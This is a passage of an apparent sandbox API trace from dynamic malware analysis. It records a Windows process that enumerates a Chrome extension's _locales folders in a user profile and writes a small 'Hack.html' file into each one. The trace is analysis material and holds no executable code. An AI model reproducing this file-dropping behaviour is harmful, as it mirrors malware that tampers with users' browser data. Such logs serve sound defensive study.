lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.163] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.163] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.163] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.163] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.163] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.164] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.164] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.164] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.164] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.164] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.164] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.164] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.165] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.165] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.165] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.165] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.165] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.165] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.165] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0074.165] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 0 [0074.166] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebb0) returned 1 [0074.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebbc) returned 1 [0074.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.167] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg", lpFilePart=0x0) returned 0x8d [0074.167] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\", lpFilePart=0x0) returned 0x8e [0074.167] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.168] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.168] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.169] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.169] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.169] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg", lpFilePart=0x0) returned 0x8d [0074.169] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\", lpFilePart=0x0) returned 0x8e [0074.169] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.169] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.170] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.170] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.170] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.170] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.171] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.171] GetFileType (hFile=0x174) returned 0x1 [0074.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.171] GetFileType (hFile=0x174) returned 0x1 [0074.172] WriteFile (in: hFile=0x174, lpBuffer=0x26fc2c0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x26fc2c0*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.173] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.173] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca", lpFilePart=0x0) returned 0x8d [0074.173] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\", lpFilePart=0x0) returned 0x8e [0074.173] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.174] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.175] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.175] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.175] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.175] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.175] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca", lpFilePart=0x0) returned 0x8d [0074.175] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\", lpFilePart=0x0) returned 0x8e [0074.175] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.176] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.176] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.176] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.176] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.176] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.177] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.177] GetFileType (hFile=0x174) returned 0x1 [0074.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.177] GetFileType (hFile=0x174) returned 0x1 [0074.178] WriteFile (in: hFile=0x174, lpBuffer=0x2701970*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x2701970*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.179] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.179] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs", lpFilePart=0x0) returned 0x8d [0074.179] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\", lpFilePart=0x0) returned 0x8e [0074.179] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.179] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.179] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.179] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.180] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.180] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs", lpFilePart=0x0) returned 0x8d [0074.180] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\", lpFilePart=0x0) returned 0x8e [0074.180] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.180] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.181] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.181] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.181] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.181] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.181] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.182] GetFileType (hFile=0x174) returned 0x1 [0074.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.182] GetFileType (hFile=0x174) returned 0x1 [0074.182] WriteFile (in: hFile=0x174, lpBuffer=0x2707020*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x2707020*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.183] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da", lpFilePart=0x0) returned 0x8d [0074.183] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\", lpFilePart=0x0) returned 0x8e [0074.183] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.185] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.185] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.185] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.185] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.186] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da", lpFilePart=0x0) returned 0x8d [0074.186] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\", lpFilePart=0x0) returned 0x8e [0074.186] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.186] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.186] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.186] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.186] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.187] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.187] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.187] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.187] GetFileType (hFile=0x174) returned 0x1 [0074.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.188] GetFileType (hFile=0x174) returned 0x1 [0074.188] WriteFile (in: hFile=0x174, lpBuffer=0x270c6d0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x270c6d0*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.189] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: 